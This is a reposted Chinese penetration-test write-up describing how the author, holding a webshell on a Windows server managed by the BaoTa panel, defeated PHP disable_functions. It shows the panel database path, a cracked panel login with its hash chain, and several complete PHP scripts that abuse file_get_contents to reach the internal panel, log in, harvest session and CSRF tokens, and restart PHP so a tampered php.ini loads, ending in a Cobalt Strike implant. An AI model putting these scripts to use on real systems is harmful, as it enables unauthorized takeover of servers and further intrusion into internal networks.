记一次绕过win下宝塔的disable_functions到cs上线

admin 2023年4月29日20:57:16评论223 views字数 6938阅读23分7秒阅读模式

0x00:思路分析

在一次渗透测试中,通过某个上传漏洞拿到了目标的shell

记一次绕过win下宝塔的disable_functions到cs上线

好家伙,禁了这么多函数

上一下哥斯拉的马看一下信息

记一次绕过win下宝塔的disable_functions到cs上线

win的服务器,还是system权限

记一次绕过win下宝塔的disable_functions到cs上线

目标服务器是宝塔,win下的宝塔一般都是system权限的

现在有几种思路:

1.想办法bypass disable_functions

2.替换php.ini

3.想办法替换宝塔的密码文件,登录宝塔

0x01:无法bypass disable_functions

那就先从第一种思路开始

首先目标用的是apache:Apache/2.4.52 (Win64) OpenSSL/1.1.1m mod_fcgid/2.3.9a 是 php5.5.38

百度一下bypass disable_functions的方法:

  • 利用Linux环境变量LD_PRELOAD --要linux,win不行

  • 利用PHP7.4 FFI绕过 --php版本5.5.38

  • CVE-2014-6271 --要linux,win不行

  • 利用imap_open()绕过 --无iamp扩展

  • 利用Pcntl组件 --无组件

  • 利用ImageMagick 漏洞绕过(CVE-2016–3714) --无php-imagick拓展

  • 利用 Apache Mod CGI -- 要linux,win不行

  • 利用攻击PHP-FPM --要linux,win不行

  • 利用 GC UAF --要linux,win不行

  • 利用 Json Serializer UAF --要linux,win不行

  • 利用Backtrace UAF --要linux,win不行

  • 利用iconv --要linux,win不行

  • 利用Windows组件COM绕过 --目标disable_classes了com

0x02:替换php.ini失败

记一次绕过win下宝塔的disable_functions到cs上线

网上找到了一个文章

记一次绕过win下宝塔的disable_functions到cs上线

我也试试,成功修改了

但是不知道为什么我等了24小时还是没有生效…………

有没有大佬知道这是怎么回事?

记一次绕过win下宝塔的disable_functions到cs上线

/jinguangdasha

D:/BtSoft/panel/data/default.db

这个是宝塔的数据库下载一下

记一次绕过win下宝塔的disable_functions到cs上线

账号也是jinguangdasha,到这里我怀疑密码也是jinguangdasha

宝塔的加密方式: md5(md5(md5(password)+'_bt.cn')+salt)

jinguangdasha-->a5dd26d55a09d7ce7a510a824ee9ebba-->620b24a6d3d02afd8cb8aa3c868ba4b2-->f07c6c84d52346c4cf7c6b155a37b5b2

对的上说明宝塔面板:/jinguangdasha 账号:jinguangdasha 密码:jinguangdasha

这下都不用替换了

记一次绕过win下宝塔的disable_functions到cs上线

结果*@#@&*(脏话),宝塔面板在内网

0x04:PHP file_get_contents登录面板并重启面板

灵光乍现,file_get_contents这个函数是调用php.exe执行操作,那如果get内网ip是不是可以获取到面板,如果构造登录获取到cookie去重启php服务是不是我修改的php.ini就生效了,就可以上cs了

<?phpecho file_get_contents("内网面板地址/jinguangdasha/");?>

记一次绕过win下宝塔的disable_functions到cs上线

说明这个思路是行得通的

经过分析,可以知道改了默认入口的宝塔先要访问一下 内网面板地址/jinguangdasha/ 然后http返回头会有一个Set-Cookie:xxx

获取到这个Set-Cookie值再去post登录才行,不然无法登录

<?php$url = "内网面板地址";//面板地址$safety = "/jinguangdasha/";//面板入口file_get_contents($url.$safety);$cookie = "";foreach ($http_response_header as $header) {if (preg_match('/^Set-Cookie:s*([^;]+)/', $header, $matches)) {$cookie = $matches[1];}}echo $cookie;?>

返回结果:

记一次绕过win下宝塔的disable_functions到cs上线

宝塔登录的时候对账号密码进行了加密

构造包进行登录:

<?php$url = "内网面板地址";//面板地址$safety = "/jinguangdasha/";//面板入口file_get_contents($url.$safety);$cookie = "";foreach ($http_response_header as $header) {if (preg_match('/^Set-Cookie:s*([^;]+)/', $header, $matches)) {$cookie = $matches[1];}}echo $cookie;define('MULTIPART_BOUNDARY', '--------------------------'.microtime(true));$header = 'Content-Type: multipart/form-data; boundary='.MULTIPART_BOUNDARY."rn"."Cookie: ".$cookie."rn";define('FORM_FIELD', 'uploaded_file');$content = "--".MULTIPART_BOUNDARY."rn"."Content-Disposition: form-data; name="username"rnrn"."a5dd26d55a09d7ce7a510a824ee9ebbarn";//加密后的账号$content .= "--".MULTIPART_BOUNDARY."rn"."Content-Disposition: form-data; name="password"rnrn"."620b24a6d3d02afd8cb8aa3c868ba4b2rn";//加密后的密码$content .= "--".MULTIPART_BOUNDARY."--rn";$context = stream_context_create(array('http' => array('method' => 'POST','header' => $header,'content' => $content,)));$a = file_get_contents($url."/login", false, $context);echo $a."<br>";?>

返回:SESSIONID=8fab8ee9-479d-4428-94ac-6acf20a81001.42vuXC45Eacp8au9rTFsTKRrr58{"status": true, "msg": "鐧诲綍鎴愬姛,姝e湪璺宠浆..."}

登录成功了,宝塔登录后会返回 request_token 和 SESSIONID ,我们带着这两个值进去看一下面板

<?php$url = "内网面板地址";//面板地址$safety = "/jinguangdasha/";//面板入口file_get_contents($url.$safety);$cookie = "";foreach ($http_response_header as $header) {if (preg_match('/^Set-Cookie:s*([^;]+)/', $header, $matches)) {$cookie = $matches[1];}}echo $cookie;define('MULTIPART_BOUNDARY', '--------------------------'.microtime(true));$header = 'Content-Type: multipart/form-data; boundary='.MULTIPART_BOUNDARY."rn"."Cookie: ".$cookie."rn";define('FORM_FIELD', 'uploaded_file');$content = "--".MULTIPART_BOUNDARY."rn"."Content-Disposition: form-data; name="username"rnrn"."a5dd26d55a09d7ce7a510a824ee9ebbarn";//加密后的账号$content .= "--".MULTIPART_BOUNDARY."rn"."Content-Disposition: form-data; name="password"rnrn"."620b24a6d3d02afd8cb8aa3c868ba4b2rn";//加密后的密码$content .= "--".MULTIPART_BOUNDARY."--rn";$context = stream_context_create(array('http' => array('method' => 'POST','header' => $header,'content' => $content,)));$a = file_get_contents($url."/login", false, $context);echo $a."<br>";$cookies = array();foreach ($http_response_header as $hdr) {if (preg_match('/^Set-Cookie:s*([^;]+)/', $hdr, $matches)) {parse_str($matches[1], $tmp);$cookies += $tmp;}}$request_token = $cookies['request_token'];$key= $cookies['SESSIONID'];echo $request_token."@@".$key;$opts = array ('http' => array ('method' => 'GET','header'=>"Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8rn" ."Cookie:request_token=".$request_token."; SESSIONID=".$key." rn"."Pragma:no-cachern",));$context2 = stream_context_create($opts);$bb =file_get_contents($url."/soft",false,$context2);echo $bb;?>

记一次绕过win下宝塔的disable_functions到cs上线

宝塔的机制是防止csrf,GET虽然可以访问 ,但是POST无法正常访问,要带着一个由刚才GET得到的token才可以成功POST

记一次绕过win下宝塔的disable_functions到cs上线

现在构造post来重启面板的php服务

<?php$url = "内网面板地址";//面板地址$safety = "/jinguangdasha/";//面板入口file_get_contents($url.$safety);$cookie = "";foreach ($http_response_header as $header) {if (preg_match('/^Set-Cookie:s*([^;]+)/', $header, $matches)) {$cookie = $matches[1];}}echo $cookie;define('MULTIPART_BOUNDARY', '--------------------------'.microtime(true));$header = 'Content-Type: multipart/form-data; boundary='.MULTIPART_BOUNDARY."rn"."Cookie: ".$cookie."rn";define('FORM_FIELD', 'uploaded_file');$content = "--".MULTIPART_BOUNDARY."rn"."Content-Disposition: form-data; name="username"rnrn"."a5dd26d55a09d7ce7a510a824ee9ebbarn";//加密后的账号$content .= "--".MULTIPART_BOUNDARY."rn"."Content-Disposition: form-data; name="password"rnrn"."620b24a6d3d02afd8cb8aa3c868ba4b2rn";//加密后的密码$content .= "--".MULTIPART_BOUNDARY."--rn";$context = stream_context_create(array('http' => array('method' => 'POST','header' => $header,'content' => $content,)));$a = file_get_contents($url."/login", false, $context);echo $a."<br>";$cookies = array();foreach ($http_response_header as $hdr) {if (preg_match('/^Set-Cookie:s*([^;]+)/', $hdr, $matches)) {parse_str($matches[1], $tmp);$cookies += $tmp;}}$request_token = $cookies['request_token'];$key= $cookies['SESSIONID'];echo $request_token."@@".$key;$opts = array ('http' => array ('method' => 'GET','header'=>"Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8rn" ."Cookie:request_token=".$request_token."; SESSIONID=".$key." rn"."Pragma:no-cachern",));$context2 = stream_context_create($opts);$bb =file_get_contents($url."/soft",false,$context2);$bb2 = getSubstr($bb,'request_token_head','container-fluid');$bb3 = substr($bb2,9,48);echo "@@".$bb3."<br>";function getSubstr($str, $leftStr, $rightStr){$left = strpos($str, $leftStr);$right = strpos($str, $rightStr,$left);if($left < 0 or $right < $left) return '';return substr($str, $left + strlen($leftStr), $right-$left-strlen($leftStr));}$data = array('name' => 'php-fpm-55',//php版本号'type' => 'restart',);$content666 = http_build_query($data);$content_length = strlen($content666);$options = array('http' => array('method' => 'POST','header' =>"Content-type: application/x-www-form-urlencodedrn" ."Content-length: $content_lengthrn"."Cookie:request_token=".$request_token."; SESSIONID=".$key." rn".'x-http-token:'.$bb3."rn"."x-cookie-token:".$request_token."rn",'content' => $content666));echo file_get_contents($url."/system?action=ServiceAdmin", false, stream_context_create($options));?>

记一次绕过win下宝塔的disable_functions到cs上线

记一次绕过win下宝塔的disable_functions到cs上线

上线cs完成测试!!然后接下来就是内网渗透了…………

文章作者:ynszzs

原文链接:https://forum.90sec.com/t/topic/2172





付费圈子


欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

记一次绕过win下宝塔的disable_functions到cs上线

进成员内部群


记一次绕过win下宝塔的disable_functions到cs上线

记一次绕过win下宝塔的disable_functions到cs上线

星球的最近主题和星球内部工具一些展示


记一次绕过win下宝塔的disable_functions到cs上线

记一次绕过win下宝塔的disable_functions到cs上线

记一次绕过win下宝塔的disable_functions到cs上线

记一次绕过win下宝塔的disable_functions到cs上线

好文分享收藏赞一下最美点在看哦

原文始发于微信公众号(鹏组安全):记一次绕过win下宝塔的disable_functions到cs上线

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月29日20:57:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次绕过win下宝塔的disable_functions到cs上线https://cn-sec.com/archives/1698667.html

发表评论

匿名网友 填写信息